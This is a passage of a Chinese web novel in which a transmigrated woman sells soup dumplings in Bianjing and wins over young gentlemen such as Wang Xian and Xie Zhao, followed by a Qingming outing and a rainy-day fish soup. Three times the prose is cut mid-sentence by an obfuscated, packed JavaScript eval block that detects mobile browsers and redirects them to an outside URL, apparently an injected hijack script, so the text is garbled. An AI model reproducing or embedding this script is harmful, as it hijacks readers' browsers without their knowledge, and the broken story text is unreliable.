初来汴京那天，刚下船就听见几十步外的馒头摊主拖长音喊：“灌浆——馒头——新蒸的暄软馒头——” 有人买了灌浆，一咬开，肉汤汁子顺着那人嘴角流下来，阿盼登时便看直了眼。 虞蘅哭笑不得，这是捡了个吃货回来。 回想起那天那人吃的灌汤包子，她却不认为有多好。 厚厚的皮，几乎一点包子褶都不见，哪里会好吃？ 大抵北方人的天赋技能都点在了面食上，虞蘅这辈子虽然生在水乡，上辈子却是实打实的北人，学了一手做点心的手艺，包子馒头更是统统不在话下，第一次尝试做灌汤包，简直大成功。 小小一枚，皮薄得透光，用筷子拎起，汤汁就在里面晃荡，需得戳破个口子小心去嘬，才不至于被烫麻了舌根。 做出来让阿盼这丫头先尝尝，四五种馅儿，每样一屉，全进了她肚子，哪个都叫好。 叫她干试菜的活儿是干不成了，还得自己来，又请左邻右舍尝尝，趁此机会熟络熟络。 最后拍板了两样经典口味，虞蘅与肉市、鱼市的商贩谈好进价，总算定下一切章程。 磨蹭间，第一笼馒头出炉了，缕缕香气从蒸笼边缘溢了出来，把众人钓得几次咽口水。 周围什么食摊子没有？浓酽的羊肉汤饼、鲜美的鸡汤底小馉饳、焖炉灰堆里扒拉出来皮脆肉紧的燠鸭……难为她这平白无奇的馒头香得诱人。 那边商人有些坐不住了，催了一回，虞蘅脆生答着“来了！”连笼屉一块端上桌，揭开笼盖，热气蒸蒸冒三尺。 客人伸长了脖子向前探看，嗬！这馒头包得俏式。 烫面皮子，竟小到一口一个，每个收口处皱褶都工工整整的。五六个围成一圈，挤挤挨挨，蒸笼里还垫了松针，难怪方才肉香气里又掺了丝清香。 凭这样的卖相和心思，已没人会说贵，只是不知味道如何。 包子皮儿塌塌的，客人夹起一枚，已觉得不对，忙用嘴去接，却还是晚了。 包子皮骤然破裂，滚烫的热汤顺着喷到桌上，一塌糊涂。 客人也是个爱吃的，方才舌头已然碰着了那汪汤，虽烫得不轻，也着实鲜美。眼下昂贵的衣料沾了油星，第一反应竟是对着那滚落的包子顿足，直呼哎呀可惜。 人们借此瞧见了那丸大的肉馅，肉馅紧实，里头夹着些橙红虾仁，肉眼可见的用料扎实。 虞蘅一边拧了热巾子来，将桌板擦净，又给他补上一个，提醒道：“客人拿匙盛着吃罢。” 其实吃这种汤多皮薄的包子，乐趣便在于抓住那收口处的褶皱，猛然往上一提，趁包子还没反应过来时，吮吸里面的汤汁。 取食时要眼明手快，切忌犹犹豫豫。 然这经验不是一朝一夕能练出来的，为了减少浪费，虞蘅只能帮他们开外挂。 客人吸取了先前的经验教训，先用竹箸挑破个口子，吹一口气，待温度略散一散，便可吮汤吃肉。 豕肉嫩，虾仁脆，面皮细软，还有点葱姜味道解腻，桌上有摊主自家熬的辣子蘸水，在里头滚上一圈，更是说不出的滋味。 客人吃着吃着，不时点头，怎么现在才吃上这般好吃的豕肉馒头！ 见他吃得好，那些人也不再犹豫： “我要一屉豕肉的！”“我与前头那人一样！” 王侍郎家的小郎君本只是出门散心，见一处摊子前挤挤挨挨，不免起了好奇，便打发身边的小厮前去查看：“卖的什么，你去瞧瞧。” 仆从应声而去，心里却对这些市井玩意儿有些不屑。家小郎君正是爱凑热闹年纪，精致细点吃惯了，偶尔也会对外头这些粗粝小食起兴。 这倒无伤大雅，毕竟就连官家都还惦记宫外头饮食呢。 这仆大模大样地挤进人堆，被他推开的人群怒目横去——却见他身后是乘车的贵人。 便只好敢怒不敢言。 仆从看了眼摊子，见只是不起眼的馒头，态度更加随意： “赶紧将你这儿吃食每样都给我包上些。” 却没等到应声。 仆从蹙眉。 抬眼，正欲重复方才的话，却见小娘子笑盈盈：“您请后边略等一等，这位娘子是先来的。” 仆从不由得好笑，板起脸唬道：“多使你些银钱就是，赶紧装起来！我家主人的功夫可是你等耽误得起的？” 众人在他恐吓之下，只好忍气吞声道：“不妨事不妨事，小娘子先给他就是。” 虞蘅挑眉，脸上仍挂着沉静微笑：“郎君若有要紧事，下回再来是一样的，我日日都在这。” 态度已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092334|163668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经很明确了，爱买不买，买，就后边排队去。 竟是个不吃硬的，仆从脸色十分难看，众目睽睽之下，对着个小娘子不好发火，欲拂袖走，又不敢违背主人命令，只好乖乖去到队尾，颇觉颜面扫地。 虞蘅方笑道：“娘子刚说要一笼豕肉的，可是？十五文。” 那妇人受宠若惊地掏了钱，旁人亦是如梦似幻，走出一段才醒过神来。 大户家仆插队什么的，他们都习惯了，亦怕得罪这群狗仗人势的东西，不敢言语，这小娘子瞧着柔柔弱弱，却挺有骨气。 虞蘅要知道这些，也不会只敢在心里骂一百句“吗的最烦插队的人”了。 耽误好一会功夫，仆从回到马车前，王小郎果然已经不耐烦：“怎的去了这么久？” 侍女也斥道：“莫不是是偷奸耍滑去了？仔细你的皮！” 仆从忙道不敢，将方才之事添油加醋一番，将自己摘清，满心以为主人听了以后，会怒而去寻那摊主麻烦，也算替自己出了气。 谁料车内沉默了会，之后便听小郎略带些稚嫩的嗓音问道：“你在外每次都是这般行事的？” 从前看他做事又快又好，人也机灵嘴甜，却不想是这样来的。 仆从不解主人之意。 王小郎想了想：“罢了，将你买的馒头给我吧。” 仆从浑然不觉自己惹了小郎君不快，前程到了头。 外带的灌汤包，虞蘅用的纸盒装，还配两根竹签子。 料碟自是没有，不过，打包时她都会问上一句，“要辣不要？” 仆从买时忖度着小郎君口味，各要了一种，眼下满满四盒子摆在面前，侍女见了笑道：“如今市井小摊上卖的玩意儿都仿内家样来做，到底不够精致，这个却别致。” 从小摊到马车有段距离，包子温度晾得刚刚好，王融夹起一枚咬了口，倏忽眼睛瞪大发亮：“这馒头好吃极了！一会儿送些去给三兄！” 说罢，眯眼咀嚼起来。 三郎是王融一母所出兄长，关系融洽，有什么好东西，王融下意识都会想到他。 两个侍女互视一眼，乐了，什么馒头这么好？ 刚才听说那馒头摊主言行，虽然在理，到底怠慢了他们，两人都看出小郎君还是有些不高兴的，此刻不过吃上一口，心里那点不快就烟消云散了，自家小郎君倒真是好哄。 马车慢慢悠悠在王宅门前停下时，虞蘅也送走最后一波客人，收了摊，推着小车往回走。 更深露重的，少见她这样一个年轻姑娘独自走在街上，原本阿盼说要和她一起来，虞蘅却让她留在家准备明早的肉馅，否则等她这个点收摊回去，天都黑透了，再剁馅不仅有扰民嫌疑，自己也少休息时间。 好在解了宵禁以后做生意的商贩随处都有，灯火从州桥南一直通明到朱雀门。 待出了城门，人烟不见稀少，反倒更热闹。远远的就见阿盼这丫头守在门口，一见她，高兴得挥舞手臂。 今日投石问路还算成功，若不计初期投入，只合计合计成本，算下来赚了能有百来文，加上每日晨起再去卖一截，又是笔进账。 在汴京虽然钱不值钱，但看是要怎么样活法，若只是生存，她们两个小姑娘节省些也够了。 许是累得狠了，今夜睡得格外地香甜。至于什么鬼影幽咽，压根没听着。 5. 第 5 章 王献与友人聚会，论诗文，共填词，饮了些新丰美酒，醉意熏熏时，已是月上中天。 上弦月淡淡，透过树影，被竹林打得稀碎。光斑掉在水面，将王家庭院笼上一层薄纱似的雾。假山、假石、假水，仿佛都成了真。 不知谁提的议，将桌案搬至中庭，配着溪水潺潺，松风阵阵，再启一坛新酒。 美酒美景，众人欣然应下。 院中仆从忙进忙出，多数人都已经支着额角，略扯开了嗓音，高谈阔论，对下人呼来喝去，不复初时儒雅。 院落一角有婢子撇嘴，复而抬眼看向自家三郎方向，眼神带了钦佩。 十余人中，还是有风度依旧翩然的。 自家郎君当然什么都好，也看腻了，她看的是玉壶春的少东家，谢诏。 这些人中与王献相识最久，也是交情最深的好友。 俗话先敬罗衣后敬人，谢诏穿一身柳色襕衫，玉色丝带束发，除此之外，通身未再有一件金玉饰物，却能在满座银鞍白马金错刀的年轻郎君们中悠游从容。 许是家中经营着城南最有名的大酒楼，这样好的酒，旁人皆敞开了豪饮，他却浅尝辄止，仍保持着清醒，对同席士子们兴致浓时的轻狂之语不曾置喙，显得明净而温和。 本朝放开经商，不似前朝鄙视商人，但环境教养出来的子嗣总与官宦人家有些不同，阶级仍然存在。 偏偏出了个谢郎。 婢子眼里更带了赞赏。 瞧这通身的气派风度、容貌举止，满座这些衙内其中不乏文才出众、丰神俊秀之辈，竟无一人能比！ 便是放眼汴梁，比谢诏还出色的，怕是一只手都数不到。 门口有仆从奉命而来，打断了众人的热闹。 “……我们郎君吃着好，便遣奴给三郎送来也尝尝。”小厮弯腰弯得殷勤，双手呈上。 “你们也尝尝。”王献招呼客人们。 自州桥回来，一路颠簸，再烫的吃食也得冷了，这是已经拿去厨司热过了的，再呈上来时换了精致碗盘装着，瞧着竟不似街边小吃，倒像是…… “倒像是瑞王府的手艺。”有人嚷嚷着。 瑞王豪奢，厨司能人荟萃，分工精细，其中有个厨娘以一手灌浆细点出名，瑞王四十寿辰时曾惊艳席上诸人。 时下厨娘也会接些私活，主家不以为忤，反倒觉得脸上有光，瑞王府这位厨娘却从不见外借，原因是瑞王爱极了她做的灌浆馒头，顿顿朝食都点名要吃。 所以这人将这盘灌浆馒头与瑞王府的相提并论，可以说是极高评价了。 有明白人嗤笑道：“黄兄喝蒙了不成，这街头卖的再好不过尔尔，如何能与瑞王府兰娘子的手艺并论！” 时下厨娘，六七岁开始学艺，至十三四岁出山，被人家聘去，一日十二时辰除了吃饭喝水与睡觉解手，其余全都在练功上头。 花这样大的功夫培养出来自是要赚钱的，汴京城中资质稍上乘些的厨娘，便可开出高达二十两的月钱，主家还得备下四台暖轿、丰厚礼品相迎，这才算罢。心高气傲者，更有许多挑剔要求。 于她们、她们之主来说，拿寻常摊贩做比，简直是侮辱。 可这人反应也太过了些。 说笑而已，何必驳了主家脸面？ 旁的客人们面面相觑，一时不知道接什么话。 王献瞥了说话之人一眼——这人的父亲官阶比他爹要高些。 虽然这话没错，到底是自己最疼爱的小弟心心念念送来的，被人当场贬低……哼。 到底是二十来岁的年轻人，又饮了酒，还能记挂着老爹的仕途已经很难得了。 王献眉眼耷拉下来。 他当然不会为了这样的小事与友人计较——余光中，左上角筷子动了动。 只见谢诏挟了一枚入口，缓缓咀嚼起来。 少顷，给出了评价。 “的确不错。” 王献便笑了，好兄弟！ 谢诏情况特殊，与今日其他人不同，他并不从仕，自然无所谓驳了谁的面子。 且谢家做的便是饮食生意，从汴京到江南，不知有多红火。 他都说好了！ 可见是真的好。 王献欣然夹起一个，扔进嘴里，不防备咬破包子皮那瞬，一汪温热的油汤滋出来。 即便舌头先前被酒灌得木了，也挡不住被那股子鲜味甜得一激灵。况且加热之后，不少汤汁已经渗入面皮，极其入味。 这便是虞蘅不肯舍的成本了，只有足够新鲜的豕肉跟虾肉，才有这般味道。肉质的鲜甜，放糖是代替不了的。 “唔！”王献双眼发亮，与方才王融表情一般无二。 这下可不是为了弟弟跟面子，王献筷子一指，示意众人，“的确不错！” 众人将信将疑，真有那么好？凭他们身份，什么好东西没吃过也见过，眼光比街头市井小民高出不知多少，很难对一盘从外头小摊上买来的馒头起多大兴趣。 罢了罢了，到底盛情难却，一尝—— “唔……唔？唔！” “这味道果真好，比起瑞王府的，亦是不遑多让！” “不，不不，你要知王府胜在食材贵重，此间市井小吃，不过豕肉罢了，鲜美竟不输山珍，可见……” “可见其手艺在上！” …… 方才那反驳之人自觉被下了面子，犹嘴硬冷笑：“我却不觉着有什么好。” 话说一半，被人给打断。 先前那黄姓士子凑过头来揽着他肩，笑道：“裴兄才喝蒙了不是，我见你动也没动筷子，怎知的不好？” 说话间，温热的酒息喷了他一脸，带着在胸腔发酵过的酸臭。 “……” 裴垣眉头皱成麻花。 王献见之大悦。 夜深宴散，王宅门口已兢兢业业停了一溜车驾，各府上的小厮互相打了照面，寒暄着，打发等待自家郎君的时间。 裴垣的小厮见着主人头一个出来，忙使唤车夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092335|163668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 调转马头迎上去。 小心觑着对方脸色不佳，又是倒茶，又是递解酒药，伺候着对方在车里坐稳后，便拣些叫他高兴的来说：“奴听二郎吩咐，今日已将兰娘子迎进府了，宴请诸位郎君的事……” 不料自家阿郎听了，脸色更差！ “闭嘴！” 小厮登时冷汗涔涔：“是，是！” 天杀的，分明赴宴以前，郎君满心得意将兰娘子从王府挖了来，说要叫王三郎等人一开眼界，眼下这是怎的？ 裴垣冷着脸不言语，过了会儿，酒意略散了些，想着今日被下了面子，胸中郁气反倒更盛，到底咽不下这口气。 那馒头瞧着也就一般，甚至比不得裴家厨娘的手艺，如何能与名满京城的兰娘子相提并论？ 裴垣冷哼，扭头吩咐：“州桥那块儿有卖灌浆馒头的，你明日去买些回来。” “是。” 马车拐了个弯，驶进马行街榆林巷裴府尹宅邸。 …… 谢诏算是这些人里最清醒的，坐在车里还有看书的闲心。 翻过一页，车厢壁传来轻微的“叩叩”声。 谢诏抬眼，“何事？” 声线清润，带些饮酒后的哑。 小厮元六在外笑道：“前边就过州桥了，奴想着二郎在席上定没吃好，可要买些小玩意儿垫补？” 谢诏刚及冠，正是饿起来能吃下一头牛的年纪，又有胃病。虽说自家便是开酒楼的，哪里饿得着他，可只有亲近的下人们才知道这位的嘴巴有多难伺候，元六一颗心都快操碎了。 一句“不必”悬在嘴边，谢诏忽而想起席上那灌浆馒头的滋味，鬼使神差改口道：“是有些饿，你去瞧瞧可有卖灌浆的。” 元六小跑着去了，谢诏继续翻书。 即便饮了酒，他也依旧坐得笔直。 清寥光华透过灯罩，落在眉眼，睫羽纤长，在睑下形成一片阴翳。他实在生了一副好皮相，直鼻薄唇，眼尾微翘，似琼林清隽，方才席间与人交谈时浅笑晏晏，温和明朗，此刻静静不语，亦不会显得冷冽，很易使人心生亲近。 元六巡了一圈没见，倒是机灵，多问了一嘴旁的摊主，得知今日早些确实有位年轻娘子在此摆摊卖灌浆馒头。 “咱们来的不巧，半时辰前，那小娘子已收摊走了，想是明日还会来。”元六讨好一笑，“一会奴叫厨下煮碗汤饼吧？” “罢了。”谢诏拒绝。 “这怎么成？那些高门最爱附什么风雅，吃些生冷不忌的，又饮酒，”元六苦口婆心地劝， “阿郎胃肠不好，酒后一定得进些温补的，否则明日便要难受了。” 大有一副他不答应就要继续长篇大论的势头。 “……也好。” 元六喜笑颜开地爬上车辕，冲旁边人眨眼。 吉双悄悄冲他比了个大拇指。 这活儿，还真就这厮干得来！ 车壁传来轻叩声，是谢诏催促他们赶紧前行，莫再耽搁了。 6. 第 6 章 虹桥边上人挤人，虞蘅早间懒得进城，便在此摆摊。 摆了几天的摊，赶早的这波百姓都知道了此处有个灌浆摊子，味美，价格也合适，生意越发地好。加上阿盼白天也来给她打下手，不出一个时辰便能收摊回家。 两个时段拢共能挣个一百八九十文，虽然累些，但日子越过越有盼头。 暮春时节，河岸的柳都绿成荫了，桥上微风阵阵。清晨的薄雾散去后，日光开始大盛，晒得人身上懒洋洋的。 送走眼前这波客人，虞蘅手边只剩下约莫三四笼包子，蒸汽袅袅冒着。 炉火映出与天边朝霞同色光泽，照在虞蘅白皙侧脸上，一派温馨，几个青年食客忍不住多看了两眼。 虞蘅则自动忽略了这些目光。 为了方便干活，她梳着寻常椎髻，青衫子配绿罗裙，水灵得仿佛地里刚拔出来的小白菜。 才将一摞空蒸笼撤下，还没喘口气，抬眼就见隔壁卖羊肉兜的吴七嫂似乎有话要说。 虞蘅冲她一笑。 吴七嫂凑了过来，压低声音道：“昨儿夜里，你就没听见什么动静？” 吴七嫂眼下有一圈淡淡青黑，显然昨夜没怎么睡好。 “什么动静？”虞蘅眨眨眼。 这么玄乎？ 虞蘅是真没听见，也是真好奇。 “含含糊糊的，我也没听清。”吴七嫂抚着心口，摇了摇头，“快莫问了，这种事，不知道才好。” 阿盼白了脸：“真有那些东西？嫂子你莫唬我。”她这几日睡得死沉，可是什么也没听见。 虞蘅安抚她：“想来是你求的桃木剑起了用，叫他不敢近身，咱们才没听见。” 这话一针见效，阿盼顿松了口气：“那就好！” 清明快到了，闹这事儿怪渗人的。 “我早说这院子不干净，你们两个小娘子家，还是赶紧搬走为好。” 吴七嫂苦口劝了几句，见她不以为意，颇不赞同地摇头走了。 虽是那样安慰阿盼的，夜里虞蘅还是特意熬到三更天，留意院里动静，却依旧什么也没有。 次日便是清明，一大早，虞蘅跟阿盼便爬起来忙活，等收拾妥当，便往城郊去。 今日不出摊，祭祀。 虞蘅祭这辈子的父母家人，阿盼陪她。 挎着两个藤编的篮子，一个里头放着香烛纸马，一个放贡果点心。 二人挑了块人少清净地儿，此地面朝汴河的一条小支流，背靠柳林，山青水也秀。 春光明媚得汹涌，虞蘅偏要做这煞风景的人。 升起火堆，元宝是两人提前几晚慢慢折的，虽说纸马店也卖，可她觉得还是自己动手来得更有孝心，阿盼也说只有祭拜人亲手折的对面才能收到。 花了好几晚的功夫，烧起来就只是一把火的事。 怕她今日太伤心，阿盼一路上话没怎么停过，就连草叶上趴着只蚱蜢都要提两嘴。 虞蘅不堪其扰，只好拿祭拜用的清明馃堵上她。 这东西越嚼越有嚼头，果然，六根都清静了。 祭拜过后，二人将余火踩得一息烟都不剩，确保不会有死灰复燃的可能，这才挪了块地开始分食带出来的清明馃和糕饼—— 趁着好不容易的假期出游，野餐！ 对于祭品摇身一变成了午食这件事，阿盼倒是接受良好，甚至一边吃一边冲虞蘅绘声绘色转述从前上山祭拜回来家里几个兄弟是怎么分抢鸡腿的。 “你多吃些，正是长身体时。”虞蘅一面听着，见她着实喜欢芝麻糖馅的，便都拣出来给她，“慢些，没人跟你抢。” 一面自己拿了个咸菜笋肉馅的在手里。 一口下去，艾草清涩跟咸酸脆爽都在嘴里炸开，再啜口清茶压一压，偶尔不开火来这么一顿还是挺好的。 阿盼两颊都塞得鼓鼓的冲她笑，想说话来着，但是嘴巴被黏厚的熟江米面给糊住了，只能含含糊糊哼出几个字音：“蘅……娘子，水！” 冒着白雾的热茶总算将她从清明馃的魔爪之下给解救了出来。 阿盼捧着竹筒心有余悸：“现在腮帮还酸呢！”那皮子起初糯，越嚼越韧，吃到后面嘴里都快打起来了！ 手掌大的馃，寻常女子吃两个就能饱，为了叠在盘子里好看，虞蘅一口气蒸了十多个。眼下两人甩开了吃，肚子都腆起来了，还剩好些。 再心疼孩子，这时候阿盼再伸手，虞蘅也拦着了：“消消食去，江米吃多了可不好消化。” 阿盼听话地站起来到处走动，满地芳草萋萋，乱花迷眼，年轻人活力十足，一会又追着蜻蜓跑远了。 四周美得简直可以入画，在这样的天地里，享受一顿午餐，能让人整个身心都放松下来。 这里的柳树不是城中随处可见的那种依依垂柳，而是北地常见的旱柳，树枝肆意朝天叉着，很是粗犷，倒把清明的氛围衬托得更肃穆了些。 也不是只有旱柳，桃杏过了季节，茉莉跟海棠却开得正好，风挟着花瓣飘飘悠悠，在地上铺了一层花毯似的，鞋尖踩上去，“仆”地腾起一股子香气。还有些落进了小溪，盘旋顺流而下，连钓鱼佬的蓑衣都染上了香味。 不一会儿，又从林子空地那头跑了回来，“蘅娘子，那边来了个人，一个男人！” 阿盼有得是力气，可荒郊野外的独自碰上个陌生男人还是有些紧张。 虞蘅也觉得自己眼下曲腿盘坐地上这副模样不大适合被人看去，赞许道：“那咱们收拾回去。” 正说着话呢，一个人影在树间晃了一下，分花拂柳而来。 一树海棠被拨开，天光得以直直投射下来，虞蘅眼前一亮。 那人见了她们，脚下略顿。 阿盼凑过来与她咬耳朵：“蘅娘子，就是他。” 这人凭白出现搅了她们难得的休憩时光，阿盼很是不满。 虞蘅看着对方走过，才慈蔼地揉揉阿盼的脸蛋：“日后再有这般长相的，莫要叫‘男人’了。” “那叫什么？”阿盼不解。 这样级别的自然是…… “叫郎君。” 虞蘅将“帅哥”两字换成了便于阿盼理解的东西。 还记得方才惊鸿一瞥，那双琥珀棕色的瞳仁，阳光恰好照进去，仿佛一汪幽幽水潭。 虞蘅笑眯眯，今日赏了美景，又见美人，心情着实是好。 看着剩下的清明馃，她发起了善心。 “那郎君想来亦是祭拜，只是不知所祭何人？瞧他身上麻衣草鞋，似乎生活并不宽裕，咱们剩下这些馃也别浪费了，给他送去吧。” 虞蘅示意阿盼追上去。 阿盼虽嘀咕着“怎会浪费，我一会就能全吃了”，到底还是去了。 吭哧吭哧追上去，只见那素服郎君停下了脚步，侧身听阿盼说话。 阿盼说了些什么，接着对方抬眼看过来。 虞蘅绷出一个矜持的笑。 对方迟疑了一会儿，才颔首。 虞蘅收回目光。 不一会儿，阿盼小跑着回来：“那位郎君收了馃，很是感激呢！” 其实对方并不很想收下，收下后也只浅浅淡淡地说了句“多谢”，蘅娘子好心，阿盼不想叫她失望。 “那便好，”虞蘅有些唏嘘，“瞧他面容不似汴京人，还带着书卷气，莫不是太学学子？独在异乡为异客……可怜见的。” 异乡求学的学子，她们家附近也不少，只不过多是资质不够入太学的。 国朝太学自景祐十七年后，便放开了先前对于寒门学子人数的限制，只要学问好，便能破格录取。 为了叫这些寒门学子更加心无旁骛的学习，太学官员亦是尽可能地制定了一系列利于他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092336|163668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的新规。 在汴京及城郊附近有宅邸的学生，每日课后须得回家住宿，将学舍空出来供路途遥远或家境艰难的学生申请。学舍所需费用比起楼务店处的“廉租房”还便宜，每月不过二百文。 另外对于课业优秀的家贫学子，太学每年还有“膏火”发放，其实便相当于后世的“助学奖学金”。为了避免官宦子弟惦记这点子补助，按照例定，并不直接发钱，而是换成衣裳蜡烛笔墨等一应日用。 除此之外，甚至还有对附属藩国学生的优厚待遇，尽展大朝风范。 虞蘅头回听说就猜到了，这些改制恐怕又是那位前辈的功劳！ 只是没想到工部尚书不仅热衷于搞基建，就连文化层面也关心到了啊。 同为小蝴蝶，虞蘅与有荣焉。 阿盼附和：“蘅娘子最心善了！” 虞蘅暗笑，其实，最主要是她不想回去手上还要拎东西来着。 显然她一时没有想到，对于这个时代人来说，陌生姑娘忽然叫住自己，递来几块糕点，是多么令人费解的行为。 谢诏看了眼小丫鬟，对远处她主人默许的微笑感到莫名，沉吟许久，到底还是收下了。 收下后却又后悔了，不知该如何处理。 眼下他并不饿，便将这名为“清明馃”的东西揣在袖中，想着回去后交由元六—— 他不喜浪费粮食，昔年祖母在时常教导要感恩粮食的来之不易。 今日爹娘有事，谢诏独自祭拜完祖父祖母后便打算回家。不料行至半途，却被王献拉去观棋，耗费了大半日。 待从王宅出来已然夜深，好在王献安排了小厮车马送他归家。 坐在马车上，静谧的夜中，谢诏忽的听闻肚子“咕叽”了一声。 饿了。 谢诏头疼地曲起指节揉了揉眉心。 果然是饿起来能吃一头牛的年纪，方才吃过暮食，竟又饿了。 若光是饿便罢了，捱到家，叫厨下煮碗面来，偏偏胃部这时有些隐隐作痛。 谢诏幼时常胃疼，是知道那滋味的，不敢再捱。 可这大半夜的，路上半点人丁都没，上哪去弄吃食呢？ 谢诏忽的想起今日有人硬给他塞了几块糕点。 ……谢诏从袖中掏出那两枚清明馃，端详片刻，犹疑地咬了下去。 已经凉透了，却意外地没变硬，比温热时口感要韧实一些。 外表有些黏牙，内里是酥香的芝麻馅，与艾草的纤维融合得很好。 大小不大，四口一个刚好。 不知不觉，两枚都入了腹。江米顶饱，这会即刻便不饿了，腹痛也止住了。 若是元六与吉双在，怕是眼珠都要掉出来。 二郎竟然吃下了这等甜腻之物！这这这还是那个自小挑嘴的二郎吗！ 其实谢诏不讨厌吃甜，酸甜苦辣咸，他都能吃，只要厨子能做得好。 他挑剔，只是因为做得不好吃罢了。 谢诏的挑嘴，与他不喜浪费粮食并不冲突，因为尝过不好吃，便从此不再碰，也不会叫下人做来。 是以折磨的只有谢家的厨子。 元六得了自家郎君口信儿，早料到他要到月上中天才归来，忖度着时辰吩咐厨下煲了汤，清甜降火，正美滋滋蹲在府门前等着挨夸呢，谁料迎上去却听见二郎说不饿。 二郎不饿！ 这样大的郎君有多能吃，他能不知道吗！ 元六脸上笑挂在了那，低头瞅了眼自己越发圆润的腰身，悲痛万分地决定今夜再喝一盅就罢手。 夜风带过，元六莫名闻见自家郎君身上似乎弥漫着股甜香？ 这自然不是女子脂粉香，倒像是自己刚吃完周记点心时身上的残味。 不不不，元六断然摇头，一定是他闻错了。 二郎怎会偷吃那等甜腻之物呢！ 7. 第 7 章 自清明后，天公似被人间的哀思给困住，一连下了好几天雨。远远望去，整个汴京仿佛笼上了一层薄烟似的碧纱，云烟缭绕，万物飘渺。 大小雨珠汇聚成线，一股股顺着屋檐坠下，在青砖地上一砸一个坑，砰然四溅。 外面雨势淅淅沥沥，虞蘅躲在屋里睡懒觉。 只是这觉也没办法睡得安稳，不多时，隔壁便传来“砰”的一声巨响，紧接着婴孩啼哭声、夫妻拌嘴声、锅碗瓢盆“咚咚”助阵，吵得人不得安宁。 贪便宜住在这种小院里便是这点不好，每天生活在邻居眼皮子底下，简直无处遁形。 虞蘅叹口气，认命地从被窝里爬起来。 厨房角落的水缸里游了两尾小鲫瓜子，是阿盼从早起垂钓的渔翁篓子里买来的，还活蹦乱跳着呢。 鱼不大，两寸许长，没几丝肉，只能用来煲汤。 虞蘅很满意，天气阴沉，湿气重，喝点汤发发汗刚好。 煲鱼汤一定要有豆腐，虞蘅叫来阿盼细细嘱咐，桥头李家娘子的豆腐点得最好，路过药铺再抓一把姜与胡椒，若碰上长得像红弯刀似的番椒，便多买些。 阿盼说到吃最认真，一一应下了。 新糊的纸伞上画了两只胖啾啾的喜鹊，阿盼爱不释手，一天撑着出门八百回。好在伞匠也晓得最近阴雨季，给每一把伞面都刷上了厚厚的桐油，防雨防水。 眼下又撑着出门了。 吴七嫂不时会来串门，像眼下，话里话外认为虞蘅对丫鬟太惯着。 “哪能这么纵着奴婢！顿顿与你吃大鱼大肉。再者挣了银钱也该攒着些，小娘子家大了，改考虑日后了，未必挣多少就要都用掉。” 话虽有些不好听，虞蘅却也感激有这么个长辈愿意苦口婆心，甚至觉得有些亲切。 炖了白白的鱼汤，也给对方送去一碗。 阿盼送汤回来，闻见香味，见自家桌上也已摆好了碗筷，顿时欢呼一声。 鱼汤奶白，豆腐雪白，上头点缀几颗嫩绿葱末，一点鲜红辣椒碎，瞧着就好喝得很。 阿盼一气喝了两碗，汤汁鲜浓，又有胡椒的辣，才喝完浑身都暖和起来了，才奇怪道：“怎么不见鱼肉呢？” 虞蘅指一指灶上：“跟汤底拿来熬粥了，半下午喝。” 阿盼听到煮粥本来没多大兴趣，她现在跟着虞蘅，每日吃得好东西多了，倒还真看不上那点子鱼碎。 只是从来也没吃过这么细致的粥。 要先熬汤底，锅里最后剩下那一勺最浓厚最鲜美的汤汁拿来熬粥，然后将鱼肉与骨刺慢慢剥离，切些笋片投进去，小火咕嘟着，出锅前再撒些绿绿的菜叶碎，淋上香油。 两条巴掌大的小鲫鱼，在虞蘅手里发挥出了最大的价值，就连佐粥的配菜甚至还是炸鱼骨。 阿盼围着锅转了许久：“粥不是剩饭加点水，锅里搁楞两下就成了么？” 虞蘅哼了声，那样怎么能叫粥！顶多是稀饭。 虞蘅上辈子的爹妈都顶不会做饭，她算是外婆带大的孩子，老人家牙不好，就喜欢喝稀饭。光稀饭不顶饱，下午老人家要去菜圃干活，于是往稀饭里又掺别的主食。各种红薯稀饭圆子稀饭虞蘅不知喝过多少，以至于她第一次喝到所谓“生滚粥”，感动得都快哭了。 是真的好喝。 虽然都说喝粥其实反而伤胃，但在吃腻了大鱼大肉的日子里来一碗米烂香浓的白粥，真的很舒服啊！ 一碗成功的白粥，不能见水不见米，也不能见米不见水，必得使水米融洽，柔腻如一，才算有腔调有实力。① 汤汤水水下肚，因连日下雨的阴霾总算一扫而空。 倒是巧，才打起精神来决定明日不管如何都要出摊，等次日天光大亮从床上爬起来，外头雨竟停了，地面干干爽爽，一洗如新，天边甚至露出一丝久违的红线。 吸吸鼻子，肺腑间满是沁人的草木清香。 唯一受到伤害的怕就是墙角被浇得一塌糊涂的菜圃了。 那会半夜下起雨来，没来得及抢救，坏了不少秧苗，阿盼可惜了好久，虞蘅安慰她：“刚好你想吃什么，换一茬再种就是了。” 